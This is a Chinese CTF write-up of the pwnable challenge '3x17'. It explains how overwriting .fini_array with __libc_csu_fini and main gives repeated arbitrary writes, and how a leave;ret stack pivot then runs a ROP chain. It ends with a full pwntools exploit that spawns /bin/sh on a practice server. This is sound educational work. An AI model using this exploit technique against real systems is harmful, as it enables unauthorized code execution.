[pwnable] 3x17 分析与思考

        有点炫酷的利用方式,不得不承认,确实让我长见识了。

正文:

void __fastcall __noreturn start(__int64 a1, __int64 a2, int a3)
{
  __int64 v3; // rax
  int v4; // esi
  __int64 v5; // [rsp-8h] [rbp-8h] BYREF
  void *retaddr; // [rsp+0h] [rbp+0h] BYREF

  v4 = v5;
  v5 = v3;
  sub_401EB0(sub_401B6D, v4, &retaddr, sub_4028D0, sub_402960, a3, &v5);
  __halt();
}

        由于符号表完全抹去,所以只能从start函数开始,但要找到main函数却不是很困难

__int64 sub_401B6D()
{
  __int64 result; // rax
  char *v1; // [rsp+8h] [rbp-28h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  result = ++byte_4B9330;
  if ( byte_4B9330 == 1 )
  {
    sub_446EC0(1u, "addr:", 5uLL);
    sub_446E20(0, buf, 0x18uLL);
    v1 = sub_40EE70(buf);
    sub_446EC0(1u, "data:", 5uLL);
    sub_446E20(0, v1, 0x18uLL);
    result = 0LL;
  }
  if ( __readfsqword(0x28u) != v3 )
    sub_44A3E0();
  return result;
}

         经过简单的分析可以发现,程序提供了一个简单的“任意地址读写功能”,但每次只能读取0x18个字节

        显然,这完全不够用,不论是写rop还是shellcode,因此当下的目标是希望能够写更多的内容

具体参考该文章:https://blog.csdn.net/gary_ygl/article/details/8506007

本篇博客只进行简要的描述

         一个程序从启动到main函数再到结束的这一过程中有多个必然存在的函数起作用,以如下为例:

void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void))
{
  __int64 v3; // rax
  int v4; // esi
  __int64 v5; // [rsp-8h] [rbp-8h] BYREF
  char *retaddr; // [rsp+0h] [rbp+0h] BYREF

  v4 = v5;
  v5 = v3;
  _libc_start_main(main, v4, &retaddr, init, fini, a3, &v5);
  __halt();
}

其运行流程为:

  1. start函数
  2. _libc_start_main函数
  3. __libc_csu_init
  4. main函数
  5. __libc_csu_fini

        程序在最终将会回到_libc_start_main,并调用其中的exit函数退出

        本例中的init和fini为指向__libc_csu_init与__libc_csu_fini的指针

        而在这两个函数中,又会通过.init_array与.fini_array数组中的地址来调用对应的函数

        结论是:

  1. .__libc_csu_init
  2. .init_array[0]
  3. .init_array[1]
  4. .init_array[n]
  5. main
  6. __libc_csu_init
  7. .fini_array[n]
  8. .fini_array[1]
  9. .fini_array[0]

        在有如上知识之后,攻击目标便明确了,如果试图复写fini_array数组为main,则又会重新进入main,如果再加上__libc_csu_fini函数地址,就能实现无限次数的任意地址读写了

        若能进行任意地址任意大小的读写,那么只要找个合适的段写入rop链,并让程序返回到这里即可(也可以尝试写入shellcode,但往往没办法找到合适段,也因为找不到mprotect函数,所有不太容易修改执行权限)

        本例中的利用方法相当特别,观察__libc_csu_fini函数:

.text:0000000000402960 sub_402960      proc near               ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {
.text:0000000000402960                 push    rbp
.text:0000000000402961                 lea     rax, unk_4B4100
.text:0000000000402968                 lea     rbp, off_4B40F0
.text:000000000040296F                 push    rbx
.text:0000000000402970                 sub     rax, rbp
.text:0000000000402973                 sub     rsp, 8
.text:0000000000402977                 sar     rax, 3
.text:000000000040297B                 jz      short loc_402996
.text:000000000040297D                 lea     rbx, [rax-1]
.text:0000000000402981                 nop     dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988:                             ; CODE XREF: sub_402960+34↓j
.text:0000000000402988                 call    qword ptr [rbp+rbx*8+0]
.text:000000000040298C                 sub     rbx, 1
.text:0000000000402990                 cmp     rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994                 jnz     short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996:                             ; CODE XREF: sub_402960+1B↑j
.text:0000000000402996                 add     rsp, 8
.text:000000000040299A                 pop     rbx
.text:000000000040299B                 pop     rbp
.text:000000000040299C                 jmp     _term_proc
.text:000000000040299C ; } // starts at 402960
.text:000000000040299C sub_402960      endp

         0000000000402968处将rbp置为0x4B40F0,对应了.fini_array数组,而在这个数组下面还有一个.data.rel.ro段可用于读写

.fini_array:00000000004B40F0 _fini_array     segment qword public 'DATA' use64
.fini_array:00000000004B40F0                 assume cs:_fini_array
.fini_array:00000000004B40F0                 ;org 4B40F0h
.fini_array:00000000004B40F0 off_4B40F0      dq offset sub_401B00    ; DATA XREF: sub_4028D0+4C↑o
.fini_array:00000000004B40F0                                         ; sub_402960+8↑o
.fini_array:00000000004B40F8                 dq offset sub_401580
.fini_array:00000000004B40F8 _fini_array     ends

.data.rel.ro:00000000004B4100 _data_rel_ro    segment align_32 public 'DATA' use64
.data.rel.ro:00000000004B4100                 assume cs:_data_rel_ro
.data.rel.ro:00000000004B4100                 ;org 4B4100h
.data.rel.ro:00000000004B4100 unk_4B4100      db    2                 ; DATA XREF: sub_402960+1↑o
.data.rel.ro:00000000004B4100                                         ; sub_40EBF0:loc_40ECC8↑o ...
.data.rel.ro:00000000004B4101                 db    0
.data.rel.ro:00000000004B4102                 db    0

         而0000000000402988处则会直接call入.fini_array中指向的地址

        那么,如果我们修改fini_array[0]为leave_ret地址,rsp就会被劫持到这里,然后通过ret或者pop将其指向00000000004B4100,即可完成劫持,运行构造好的rop链

        不过现在一想,这种复写.fini_array的方式实际上是在进行类似于递归的操作,那么程序迟早会被掐掉.....或许在某些时候会成为一种限制吧......

完整exp:

#coding=utf-8
from pwn import *
import sys
reload(sys)
sys.setdefaultencoding('utf8')
context.log_level='debug'

#p=process("./3x17")
p=remote("node4.buuoj.cn",25584)
elf=ELF("./3x17")

finiarr=0x0000000004B40F0
main=0x401B6D
libc_scu_fini=0x402960

p.sendlineafter("addr:",str(finiarr))
p.sendlineafter("data:",p64(libc_scu_fini)+p64(main))

rdi_ret=0x0000000000401696
rsi_ret=0x0000000000406c30
rdx_ret=0x0000000000446e35
leave_ret=0x401C4B
syscall=0x4022b4
poprax = 0x41e4af
#gdb.attach(p)
ret=0x0000000000401016
p.sendlineafter("addr:",str(finiarr+0x10))
p.sendlineafter("data:",p64(rsi_ret)+p64(0))


p.sendlineafter("addr:",str(finiarr+0x20))
p.sendlineafter("data:",p64(rdx_ret)+p64(0))

p.sendlineafter("addr:",str(finiarr+0x30))
p.sendlineafter("data:",p64(poprax)+p64(0x3b))


p.sendlineafter("addr:",str(finiarr+0x40))
p.sendlineafter("data:",p64(rdi_ret)+p64(finiarr+0x60))

p.sendlineafter("addr:",str(finiarr+0x50))
p.sendlineafter("data:",p64(syscall))

p.sendlineafter("addr:",str(finiarr+0x60))
p.sendlineafter("data:",'/bin/sh\x00')

p.sendlineafter("addr:",str(finiarr))
p.sendafter("data:",p64(leave_ret)+p64(ret))

p.interactive()

参考:https://xuanxuanblingbling.github.io/ctf/pwn/2019/09/06/317/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值